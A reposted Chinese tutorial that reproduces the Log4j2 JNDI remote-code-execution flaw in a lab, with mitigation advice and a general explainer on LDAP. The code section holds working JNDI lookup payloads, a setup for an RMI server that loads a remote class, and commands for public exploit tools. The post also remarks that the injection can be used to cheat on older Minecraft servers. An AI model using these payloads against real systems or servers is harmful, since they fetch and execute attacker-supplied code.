log4j2 漏洞解析

log4j2 漏洞解析 转载自: https://www.cnblogs.com/puzhiwei/p/15677816.html

 

前情提要

Apache 存在 Log4j 远程代码执行漏洞,将给相关企业带来哪些影响?还有哪些信息值得关注?

 

构建maven项目引入Log4j2

编写 pom 文件

log4j2 漏洞解析
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
 
    <groupId>org.example</groupId>
    <artifactId>Log4j-rce</artifactId>
    <version>1.0-SNAPSHOT</version>
 
    <dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.13.3</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.13.3</version>
        </dependency>
 
    </dependencies>
 
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
 
</project>
log4j2 漏洞解析

编写测试代码

log4j2 漏洞解析
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
 
 
public class log4jRCE {
    private static final Logger logger = LogManager.getLogger(log4jRCE.class);
    public static void main(String[] args) {
        // 避免因为Java版本过高而无法触发此漏洞
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        // 此处ip需要使用本机局域网ip或网络ip,不能使用127.0.0.1
        logger.error("${jndi:ldap://ip:1389/Basic/Command/calc}");
    }
}
log4j2 漏洞解析

下载 JNDI 测试服务器

到 https://github.com/feihong-cs/JNDIExploit

或者

https://github.com/welk1n/JNDI-Injection-Exploit

下载 JNDIExploit 测试服务器

本次使用 JNDIExploit 举例

下载完成后使用

 

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip

启动服务器

然后运行之前的Log4j2项目即可出现如图所示效果

log4j2 漏洞解析

 

 

加载运行自己的 class 类

编写 RMI服务器

 

log4j2 漏洞解析
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
 
/**
 * @author Pu Zhiwei
 * create          2021-12-11 22:06
 */
public class RMIServer {
    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();
 
            System.out.println("Create RMI registry on port 1099!");
            // 前两个参数为类名,第三个参数为远程类地址
            Reference reference = new Reference("Test", "Test", "http://192.168.0.105:8080/");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("evil", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
log4j2 漏洞解析

 

编写测试类

 

public class Test {
    static {
        System.out.println("你好 Log4j2");
    }
}

 

然后启动一个 http 服务器,将编译好的测试类放入 http 服务器的根目录,你可以直接使用python的http服务器

 

python -m http.server 8080

 

修改 Log4j2 项目内容为

 

logger.error("${jndi:rmi://192.168.0.105:1099/evil}");

 

运行项目即可看到 Test 类已被执行

 

log4j2 漏洞解析

 

之后你就可以通过修改 Test 类实现更多操作。

如何防范

升级 Log4j2 到最新版本

使用最新版 JDK

临时解决方案:

  • 设置 jvm 参数 “-Dlog4j2.formatMsgNoLookups=true”

  • 在项目 classpath 目录下添加 log4j2.component.properties 配置文件,设置 log4j2.formatMsgNoLookups=true

  • 设置系统环境变量:“LOG4J_FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS” 设置为 “true”

END

 

LDAP解释,转载自:  https://zhuanlan.zhihu.com/p/260518807

LDAP 是轻量目录访问协议,英文全称是LIGHTWEIGHT DIRECTORY ACCESS PROTOCOL,一般都简称为 LDAP。

读写效率非常高

对读操作进行优化的一种数据库,在读写比例大于7比1的情况下,LDAP会体现出极高的性能。这个特性正适合了身份认证的需要。

开放的标准协议

不同于SQL数据库,LDAP的客户端是跨平台的,并且对几乎所有的程序语言都有标准的API接口。

即使是改变了LDAP数据库产品的提供厂商,开发人员也不用担心需要修改程序才能适应新的数据库产品。这个优势是使用SQL语言进行查询的关系型数据库难以达到的。

强认证方式

可以达到很高的安全级别。

在国际化方面,LDAP使用了UTF-8编码来存储各种语言的字符。

OpenLDAP开源实现

OpenLDAP还包含了很多有创造性的新功能,能满足大多数使用者的要求。

OpenLDAP是其中最轻便且消耗系统资源最少的一个。

OpenLDAP是开源软件,近年国内很多公司开发的LDAP产品都是基于OpenLDAP开发的。

灵活添加数据类型

LDAP是根据schema的内容定义各种属性之间的从属关系及匹配模式的。

例如在关系型数据库中如果要为用户增加一个属性,就要在用户表中增加一个字段,在拥有庞大数量用户的情况下是十分困难的,需要改变表结构。

但LDAP只需要在schema中加入新的属性,不会由于用户的属性增多而影响查询性能。

数据存储是树结构

整棵树的任何一个分支都可以单独放在一个服务器中进行分布式管理,不仅有利于做服务器的负载均衡,还方便了跨地域的服务器部署。

这个优势在查询负载大或企业在不同地域都设有分公司的时候体现尤为明显。

 

log4j2 漏洞解析

 

LDAP 的特点

  1. LDAP 是一种网络协议而不是数据库,而且LDAP的目录不是关系型的,没有RDBMS那么复杂,
  2. LDAP不支持数据库的Transaction机制,纯粹的无状态、请求-响应的工作模式。
  3. LDAP不能存储BLOB,LDAP的读写操作是非对称的,读非常方便,写比较麻烦,
  4. LDAP支持复杂的查询过滤器(filter),可以完成很多类似数据库的查询功能。
  5. LDAP使用树状结构,接近于公司组织结构、文件目录结构、域名结构等我们耳熟能详的东西。 LDAP使用简单、接口标准,并支持SSL访问。

LDAP与NIS相比

1.LDAP是标准的、跨平台的,在Windows下也能支持。
2.LDAP支持非匿名的访问,而且有比较复杂的访问控制机制(如ACL),安全性似乎更好一些。
3.LDAP支持很多复杂的查询方式。
4.LDAP的用途较NIS更为广泛,各种服务都可以和LDAP挂钩。

LDAP 的主要应用场景

.网络服务:DNS服务
2.统一认证服务:
3.Linux PAM (ssh, login, cvs. . . )
4.Apache访问控制
5.各种服务登录(ftpd, php based, perl based, python based. . . )
6.个人信息类,如地址簿
7.服务器信息,如帐号管理、邮件服务等

 

log4j2 漏洞解析

 

作为一般的公司来说,LDAP 很多时候被用来权限认证,软件和内部系统的用户管理和认证。

设想下,你有一个软件公司,公司里面有超过上千的员工,你们公司可能会用到各种软件,比如说 JIRA,Wiki,代码库,考勤系统等等。

LDAP 就充当了授权的这个角色,你可用在 LDAP 中对用户进行授权,分组,这样你的用户就会具有不通过软件平台的访问权限了。

现在公司的流动性也非常强,每天都会有入职的也会有离职的,对每一个人都要进行授权,撤销权限,跨域管理等等与用户有关的操作,在大一点的公司这个简直就是灾难。

LDAP 能够很好的解决这个问题。

Spring Data 提供了基于 LDAP 协议访问的 API,需要注意的是,在开发的时候需要将 LDAP 认为是一个数据库,只是与普通数据库不同的是,LDAP 使用的是 LDAP 的协议。

否则,在用户分组查询,等基于 Spring Data LDAP 的编程过程中,你可能会感到非常困惑。

 

其他说明,使用高版本java可以避免该问题,未验证

由于minecraft java版也使用了log4j,这个漏洞甚至可以用来在生存模式下作弊

实测在低版本java(java8u191之前的版本)下可以在minecraft聊天内使用jndi注入,因为minecraft会把聊天输入内容打在log里,用的就是log4j,因为命令方块也可以实现此注入,在有外部程序配合的情况下,可以实现完全看不出任何破绽的作弊

官方启动器+官方jre玩家不用进行任何操作,虽然正版的log4j版本是存在漏洞的版本,但是因为目前官方启动器用的jre是基于openjdk16的,openjdk16不能使用jndi注入

但是还在使用低版本java开服的服主,建议尽快升级log4j和java版本

上一篇:JNDI注入demo使用ldap方式


下一篇:log4j JNDI 注入分析